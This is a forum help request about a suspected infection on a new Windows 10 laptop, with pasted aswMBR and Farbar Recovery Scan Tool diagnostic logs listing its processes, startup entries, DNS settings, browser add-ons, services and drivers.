Unknown Infection: Need Assistance

[KillerPepper]

Any help would be great as the computer is fairly new. Thanks!

aswMBR version 1.0.1.2252 Copyright(c) 2014 AVAST Software
Run date: 2016-05-04 20:24:18
-----------------------------
20:24:18.004 OS Version: Windows x64 6.2.9200
20:24:18.004 Number of processors: 4 586 0x3001
20:24:18.004 ComputerName: DIRK-V2 UserName: nikki
20:24:20.481 Initialize success
20:24:20.481 VM: initialized successfully
20:24:20.497 VM: Amd CPU BiosDisabled
20:43:09.013 AVAST engine defs: 16050401
20:43:16.852 Disk 0 (boot) \Device\Harddisk0\DR0 -> \Device\00000026
20:43:16.852 Disk 0 Vendor: HGST_HTS541010A9E680 JA0OA710 Size: 953869MB BusType: 11
20:43:17.006 Disk 0 MBR read successfully
20:43:17.006 Disk 0 MBR scan
20:43:17.021 Disk 0 unknown MBR code
20:43:17.021 Disk 0 Partition 1 00 EE GPT 2097151 MB offset 1
20:43:17.184 Disk 0 scanning C:\WINDOWS\system32\drivers
20:43:36.110 Service scanning
20:44:34.767 Modules scanning
20:44:34.768 Disk 0 trace - called modules:
20:44:34.799 ntoskrnl.exe CLASSPNP.SYS disk.sys hpdskflt.sys amdxata.sys storport.sys hal.dll amdsata.sys pci.sys amdkmpfd.sys ACPI.sys
20:44:34.815 1 nt!IofCallDriver -> \Device\Harddisk0\DR0[0xffffe0009b1fd060]
20:44:34.830 3 CLASSPNP.SYS[fffff8004d937d95] -> nt!IofCallDriver -> [0xffffe0009b1feb10]
20:44:34.830 5 hpdskflt.sys[fffff8004d80242b] -> nt!IofCallDriver -> [0xffffe0009b110880]
20:44:34.846 7 amdxata.sys[fffff8004cee16da] -> nt!IofCallDriver -> \Device\00000026[0xffffe0009b199060]
20:44:36.435 AVAST engine scan C:\WINDOWS
20:44:39.878 AVAST engine scan C:\WINDOWS\system32
20:49:36.146 AVAST engine scan C:\WINDOWS\system32\drivers
20:50:04.249 AVAST engine scan C:\Users\nikki
20:54:13.350 Disk 0 MBR has been saved successfully to "C:\Users\nikki\Desktop\MBR.dat"
20:54:13.365 The log file has been saved successfully to "C:\Users\nikki\Desktop\aswMBR LOG.txt"




Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:05-05-2016 01
Ran by nikki (administrator) on DIRK-V2 (04-05-2016 20:28:06)
Running from C:\Users\nikki\Desktop
Loaded Profiles: nikki (Available Profiles: nikki)
Platform: Windows 10 Home Version 1511 (X64) Language: English (United States)
Internet Explorer Version 11 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic...ery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Advanced Micro Devices, Inc.) C:\Windows\SysWOW64\tbaseprovisioning.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Hewlett-Packard Company) C:\Windows\System32\hpservice.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
(Broadcom Corporation.) C:\Windows\System32\BtwRSupportService.exe
(Microsoft Corporation) C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
(Hewlett-Packard Development Company, L.P.) C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe
(McAfee, Inc.) C:\Windows\System32\mfevtps.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\SystemCore\mfemms.exe
(Intel Security, Inc.) C:\Program Files\Common Files\Intel Security\PEF\CORE\PEFService.exe
(Microsoft Corporation) C:\Windows\System32\wlanext.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(McAfee, Inc.) C:\Windows\System32\mfevtps.exe
(Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersServer.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\SystemCore\mfefire.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\SystemCore\mfefire.exe
(McAfee, Inc.) C:\Program Files\mcafee\MSC\McAPExe.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\AMCore\mcshield.exe
(Hewlett-Packard Development Company, L.P.) C:\Program Files (x86)\Hewlett-Packard\HP CoolSense\CoolSense.exe
(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe
(Microsoft Corporation) C:\Windows\System32\StikyNot.exe
(McAfee, Inc.) C:\Program Files\McAfee Security Scan\3.11.309\SSScheduler.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\HP 3D DriveGuard\AccelerometerSt.exe
(Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\Shared\hpqwmiex.exe
() C:\Program Files\WindowsApps\Microsoft.Messaging_2.15.20002.0_x86__8wekyb3d8bbwe\SkypeHost.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\HPSupportSolutionsFrameworkService.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\CSP\1.9.656.0\McCSPServiceHost.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\ModuleCore\ModuleCoreService.exe
(Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe
(Safer-Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy 2\SDTray.exe
(Safer-Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy 2\SDWSCSvc.exe
(Safer-Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdSvc.exe
(Microsoft Corporation) C:\Windows\System32\WWAHost.exe
(Safer-Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy 2\SDFSSvc.exe
() C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1601.49020.0_x64__8wekyb3d8bbwe\Calculator.exe
(Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe
() C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.325.12390.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.6868.40731.0_x64__8wekyb3d8bbwe\HxCalendarAppImm.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.6868.40731.0_x64__8wekyb3d8bbwe\HxTsr.exe
(Microsoft Inc.) C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.9.5030.0_x64__8wekyb3d8bbwe\Solitaire.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe
(Tweaking.com) C:\Program Files (x86)\Tweaking.com\Registry Backup\TweakingRegistryBackup.exe
(AVAST Software) C:\Users\nikki\Desktop\aswMBR.exe
(McAfee, Inc.) C:\Program Files\mcafee\VirusScan\McVsShld.exe
(McAfee, Inc.) C:\Program Files\Common Files\McAfee\Platform\Core\mchost.exe


==================== Registry (Whitelisted) ===========================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [8496344 2015-07-06] (Realtek Semiconductor)
HKLM\...\Run: [Logitech Download Assistant] => C:\Windows\system32\rundll32.exe C:\Windows\System32\LogiLDA.dll,LogiFetch
HKLM-x32\...\Run: [AccelerometerSysTrayApplet] => C:\Program Files (x86)\Hewlett-Packard\HP 3D DriveGuard\AccelerometerST.exe [127528 2015-07-08] (Hewlett-Packard Company)
HKLM-x32\...\Run: [HPMessageService] => C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPMSGSVC.exe [654088 2015-02-17] (Hewlett-Packard Development Company, L.P.)
HKLM-x32\...\Run: [StartCCC] => c:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-07-07] (Advanced Micro Devices, Inc.)
HKLM-x32\...\Run: [SDTray] => C:\Program Files (x86)\Spybot - Search & Destroy 2\SDTray.exe [4101576 2014-06-24] (Safer-Networking Ltd.)
Winlogon\Notify\SDWinLogon-x32: SDWinLogon.dll [X]
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [WeatherBug] => C:\Program Files\Earth Networks\WeatherBug\WeatherBug.exe [146736 2014-09-23] ()
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [8590760 2015-12-08] (Piriform Ltd)
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [RESTART_STICKY_NOTES] => C:\Windows\System32\StikyNot.exe [465920 2015-10-30] (Microsoft Corporation)
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3077712 2016-03-31] (Valve Corporation)
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [50603136 2016-01-11] (Skype Technologies S.A.)
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\Run: [SpybotPostWindows10UpgradeReInstall] => C:\Program Files\Common Files\AV\Spybot - Search and Destroy\Test.exe [1011200 2015-07-28] (Safer-Networking Ltd.)
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\RunOnce: [Uninstall C:\Users\nikki\AppData\Local\Microsoft\OneDrive\17.3.6281.1202_1\amd64] => C:\WINDOWS\system32\cmd.exe /q /c rmdir /s /q "C:\Users\nikki\AppData\Local\Microsoft\OneDrive\17.3.6281.1202_1\amd64"
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\scrnsave.scr [31744 2015-10-30] (Microsoft Corporation)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\McAfee Security Scan Plus.lnk [2016-04-15]
ShortcutTarget: McAfee Security Scan Plus.lnk -> C:\Program Files\McAfee Security Scan\3.11.309\SSScheduler.exe (McAfee, Inc.)
BootExecute: autocheck autochk * sdnclean64.exe

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

Tcpip\Parameters: [DhcpNameServer] 192.168.1.1
Tcpip\Parameters: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{244d3898-9897-47be-b651-9908cc9b6b24}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{244d3898-9897-47be-b651-9908cc9b6b24}: [DhcpNameServer] 192.168.1.1
Tcpip\..\Interfaces\{47454114-24b9-4282-ad67-f96c33b2fbde}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{47454114-24b9-4282-ad67-f96c33b2fbde}: [DhcpNameServer] 82.163.143.171
Tcpip\..\Interfaces\{c2210255-7e44-43ba-aca0-6679d22815e2}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{c2210255-7e44-43ba-aca0-6679d22815e2}: [DhcpNameServer] 82.163.143.171
Tcpip\..\Interfaces\{cc6031a8-cb31-4b60-b4e8-65e26fb887ca}: [NameServer] 82.163.143.171 82.163.142.173
Tcpip\..\Interfaces\{cc6031a8-cb31-4b60-b4e8-65e26fb887ca}: [DhcpNameServer] 82.163.143.171

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://hp15-comm.msn.com/?pc=HRTE
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://hp15-comm.msn.com/?pc=HRTE
SearchScopes: HKLM-x32 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-4202283924-1420085414-670275171-1001 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
BHO: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2016-04-24] (Microsoft Corporation)
BHO: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
BHO: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\GROOVEEX.DLL [2016-04-24] (Microsoft Corporation)
BHO-x32: Skype Click to Call for Internet Explorer -> {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} -> C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)
BHO-x32: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPlugin.dll [2016-02-25] (HP)
Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2016-04-24] (Microsoft Corporation)
Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2016-04-24] (Microsoft Corporation)
Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2016-04-24] (Microsoft Corporation)
Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2016-04-24] (Microsoft Corporation)
Handler: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\skypeieplugin.dll [2016-01-08] (Microsoft Corporation)
Handler-x32: skypec2c - {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll [2016-01-08] (Microsoft Corporation)
Filter: application/x-mfe-ipt - {3EF5086B-5478-4598-A054-786C45D75692} - c:\Program Files\mcafee\MSC\McSnIePl64.dll [2016-03-31] (McAfee, Inc.)
Filter-x32: application/x-mfe-ipt - {3EF5086B-5478-4598-A054-786C45D75692} - c:\Program Files (x86)\McAfee\MSC\McSnIePl.dll [2016-03-31] (McAfee, Inc.)

FireFox:
========
FF ProfilePath: C:\Users\nikki\AppData\Roaming\Mozilla\Firefox\Profiles\ooduwcgm.default
FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF64_21_0_0_213.dll [2016-04-07] ()
FF Plugin: @mcafee.com/MSC,version=10 -> c:\PROGRA~1\mcafee\msc\NPMCSN~1.DLL [2016-03-31] ()
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\WINDOWS\SysWOW64\Macromed\Flash\NPSWF32_21_0_0_213.dll [2016-04-07] ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\windows\SysWOW64\Adobe\Director\np32dsw_1217157.dll [2015-02-05] (Adobe Systems, Inc.)
FF Plugin-x32: @mcafee.com/MSC,version=10 -> c:\PROGRA~2\mcafee\msc\NPMCSN~1.DLL [2016-03-31] ()
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2016-04-24] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-02] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.29.5\npGoogleUpdate3.dll [2016-02-02] (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2015-12-18] (Adobe Systems Inc.)
FF Extension: Adblock Plus Pop-up Addon - C:\Users\nikki\AppData\Roaming\Mozilla\Firefox\Profiles\ooduwcgm.default\extensions\adblockpopups@jessehakanen.net.xpi [2016-05-03]
FF HKLM-x32\...\Thunderbird\Extensions: [msktbird@mcafee.com] - C:\Program Files\McAfee\MSK
FF Extension: McAfee Anti-Spam Thunderbird Extension - C:\Program Files\McAfee\MSK [2016-04-17] [not signed]

Chrome:
=======
CHR StartupUrls: Default -> "hxxp://www.google.com"
CHR Profile: C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Docs) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2016-01-02]
CHR Extension: (Google Drive) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-01-02]
CHR Extension: (YouTube) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-01-02]
CHR Extension: (Google Search) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2016-01-02]
CHR Extension: (Google Docs Offline) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-23]
CHR Extension: (AdBlock) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\gighmmpiobklfepjocnamgkkbiglidom [2016-04-18]
CHR Extension: (Chrome Web Store Payments) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2016-04-15]
CHR Extension: (Gmail) - C:\Users\nikki\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-01-02]
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - C:\Program Files (x86)\Skype\Toolbars\ChromeExtension\skype_chrome_extension.crx [2016-01-08]

==================== Services (Whitelisted) ========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

S2 AdaptiveSleepService; c:\Program Files\ATI Technologies\ATI.ACE\A4\AdaptiveSleepService.exe [138752 2015-07-07] () [File not signed]
R2 BcmBtRSupport; C:\Windows\system32\BtwRSupportService.exe [2286848 2015-12-31] (Broadcom Corporation.)
R2 c2cautoupdatesvc; C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe [1433216 2016-01-08] (Microsoft Corporation)
R2 c2cpnrsvc; C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe [1773696 2016-01-08] (Microsoft Corporation)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [2838760 2016-04-24] (Microsoft Corporation)
R2 HomeNetSvc; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
R2 HPSupportSolutionsFrameworkService; c:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\HPSupportSolutionsFrameworkService.exe [26680 2016-02-18] (Hewlett-Packard Company)
R2 HPWMISVC; c:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe [608520 2015-02-17] (Hewlett-Packard Development Company, L.P.)
R2 McAPExe; C:\Program Files\McAfee\MSC\McAPExe.exe [889704 2016-03-31] (McAfee, Inc.)
R2 McBootDelayStartSvc; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
S3 McComponentHostService; C:\Program Files\McAfee Security Scan\3.11.309\McCHSvc.exe [293128 2016-03-11] (McAfee, Inc.)
R2 mccspsvc; C:\Program Files\Common Files\McAfee\CSP\1.9.656.0\McCSPServiceHost.exe [1709096 2016-03-14] (McAfee, Inc.)
R2 McMPFSvc; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
R2 McNaiAnn; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
S3 McODS; C:\Program Files\mcafee\VirusScan\mcods.exe [718248 2016-03-07] (McAfee, Inc.)
R2 mcpltsvc; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
R2 McProxy; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
R3 mfefire; C:\Program Files\Common Files\McAfee\SystemCore\\mfefire.exe [234192 2016-01-25] (McAfee, Inc.)
R2 mfemms; C:\Program Files\Common Files\McAfee\SystemCore\\mfemms.exe [382456 2016-02-19] (McAfee, Inc.)
R3 mfevtp; C:\WINDOWS\system32\mfevtps.exe [279488 2016-01-25] (McAfee, Inc.)
R2 ModuleCoreService; C:\Program Files\Common Files\McAfee\ModuleCore\ModuleCoreService.exe [1037048 2016-03-15] (McAfee, Inc.)
R2 MSK80Service; C:\Program Files\Common Files\McAfee\Platform\McSvcHost\McSvHost.exe [453520 2016-03-10] (McAfee, Inc.)
R2 PEFService; C:\Program Files\Common Files\Intel Security\PEF\CORE\PEFService.exe [896456 2016-03-02] (Intel Security, Inc.)
R2 RtkAudioService; C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe [294616 2015-07-06] (Realtek Semiconductor)
R2 SDScannerService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDFSSvc.exe [1738168 2014-06-24] (Safer-Networking Ltd.)
R2 SDUpdateService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDUpdSvc.exe [2088408 2014-06-27] (Safer-Networking Ltd.)
R2 SDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy 2\SDWSCSvc.exe [171928 2014-04-25] (Safer-Networking Ltd.)
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [260216 2015-12-09] (Synaptics Incorporated)
R2 tbaseprovisioning; C:\Windows\SysWOW64\tbaseprovisioning.exe [60432 2015-07-14] (Advanced Micro Devices, Inc.)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [364464 2015-10-30] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [24864 2015-10-30] (Microsoft Corporation)

===================== Drivers (Whitelisted) ==========================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

R3 AmdAS4; C:\Windows\System32\drivers\AmdAS4.sys [18968 2015-07-14] (Advanced Micro Devices, INC.)
S3 amdkmcsp; C:\Windows\system32\DRIVERS\amdkmcsp.sys [101104 2015-07-14] (Advanced Micro Devices, Inc. )
R0 amdkmpfd; C:\Windows\System32\drivers\amdkmpfd.sys [73976 2015-07-14] (Advanced Micro Devices, Inc.)
R0 amdpsp; C:\Windows\System32\DRIVERS\amdpsp.sys [277240 2015-07-14] (Advanced Micro Devices, Inc. )
R3 AtiHDAudioService; C:\Windows\system32\drivers\AtihdWT6.sys [102912 2015-07-14] (Advanced Micro Devices)
R3 bcbtums; C:\Windows\system32\drivers\bcbtums.sys [177432 2015-12-01] (Broadcom Corporation.)
R3 BCM43XX; C:\Windows\system32\DRIVERS\bcmwl63a.sys [7551240 2015-12-19] (Broadcom Corporation)
R3 cfwids; C:\Windows\System32\drivers\cfwids.sys [79248 2016-01-29] (McAfee, Inc.)
S3 HipShieldK; C:\Windows\System32\drivers\HipShieldK.sys [207208 2015-05-19] (McAfee, Inc.)
R3 mfeaack; C:\Windows\System32\drivers\mfeaack.sys [422184 2016-01-29] (McAfee, Inc.)
R3 mfeavfk; C:\Windows\System32\drivers\mfeavfk.sys [351656 2016-01-29] (McAfee, Inc.)
S0 mfeelamk; C:\Windows\System32\drivers\mfeelamk.sys [83608 2016-01-29] (McAfee, Inc.)
R3 mfefirek; C:\Windows\System32\drivers\mfefirek.sys [496368 2016-01-29] (McAfee, Inc.)
R0 mfehidk; C:\Windows\System32\drivers\mfehidk.sys [847608 2016-01-29] (McAfee, Inc.)
R3 mfencbdc; C:\Windows\system32\DRIVERS\mfencbdc.sys [543488 2016-02-10] (McAfee, Inc.)
S3 mfencrk; C:\Windows\system32\DRIVERS\mfencrk.sys [109480 2016-02-10] (McAfee, Inc.)
R0 mfewfpk; C:\Windows\System32\drivers\mfewfpk.sys [245096 2016-01-29] (McAfee, Inc.)
R3 RSP2STOR; C:\Windows\system32\DRIVERS\RtsP2Stor.sys [301784 2015-06-09] (Realtek Semiconductor Corp.)
R3 rt640x64; C:\Windows\System32\drivers\rt640x64.sys [886528 2015-06-01] (Realtek )
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [402136 2015-06-09] (Realsil Semiconductor Corporation)
R3 SmbDrv; C:\Windows\system32\DRIVERS\Smb_driver_AMDASF.sys [67704 2015-12-09] (Synaptics Incorporated)
S3 SmbDrvI; C:\Windows\System32\drivers\Smb_driver_Intel.sys [33960 2015-07-13] (Synaptics Incorporated)
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [44568 2015-10-30] (Microsoft Corporation)
S3 WdFilter; C:\Windows\system32\drivers\WdFilter.sys [293216 2015-10-30] (Microsoft Corporation)
S3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [118112 2015-10-30] (Microsoft Corporation)
R3 WirelessButtonDriver64; C:\Windows\System32\drivers\WirelessButtonDriver64.sys [30384 2015-06-24] (HP Inc.)
U3 aswMBR; C:\Users\nikki\AppData\Local\Temp\aswMBR.sys [62728 2016-05-04] () [File not signed]
U3 aswVmm; C:\Users\nikki\AppData\Local\Temp\aswVmm.sys [224896 2016-05-04] ()
S3 clwvd6; \SystemRoot\system32\DRIVERS\clwvd6.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)


==================== One Month Created files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2016-05-04 20:28 - 2016-05-04 20:29 - 00022912 _____ C:\Users\nikki\Desktop\FRST.txt
2016-05-04 20:28 - 2016-05-04 20:28 - 00000207 _____ C:\WINDOWS\tweaking.com-regbackup-DIRK-V2-Windows-10-Home-(64-bit).dat
2016-05-04 20:28 - 2016-05-04 20:28 - 00000000 ____D C:\RegBackup
2016-05-04 20:26 - 2016-05-04 20:28 - 00000000 ____D C:\FRST
2016-05-04 20:26 - 2016-05-04 20:12 - 02378240 _____ (Farbar) C:\Users\nikki\Desktop\FRST64.exe
2016-05-04 20:23 - 2016-05-04 20:10 - 05198336 _____ (AVAST Software) C:\Users\nikki\Desktop\aswMBR.exe
2016-05-04 20:23 - 2016-05-04 20:05 - 05523840 _____ (Tweaking.com) C:\Users\nikki\Desktop\tweaking.com_registry_backup_setup.exe
2016-05-04 20:23 - 2016-05-04 16:09 - 46525608 _____ (Safer-Networking Ltd. ) C:\Users\nikki\Desktop\spybot-2.4.exe
2016-05-04 20:13 - 2016-05-04 20:13 - 00002315 _____ C:\Users\Public\Desktop\Tweaking.com - Registry Backup.lnk
2016-05-04 20:13 - 2016-05-04 20:13 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Tweaking.com
2016-05-04 20:12 - 2016-05-04 20:13 - 00017965 _____ C:\WINDOWS\Tweaking.com - Registry Backup Setup Log.txt
2016-05-04 20:12 - 2016-05-04 20:12 - 00000000 ____D C:\Program Files (x86)\Tweaking.com
2016-05-04 16:28 - 2015-07-28 17:52 - 00821920 _____ (Safer-Networking Ltd. ) C:\Users\Public\Desktop\Post Win10 Spybot-install.exe
2016-05-04 16:20 - 2016-04-17 14:43 - 00000851 _____ C:\WINDOWS\system32\Drivers\etc\hosts.20160504-162058.backup
2016-05-04 16:12 - 2016-05-04 16:29 - 00000000 ____D C:\ProgramData\Spybot - Search & Destroy
2016-05-04 16:12 - 2016-05-04 16:28 - 00000000 ____D C:\Program Files (x86)\Spybot - Search & Destroy 2
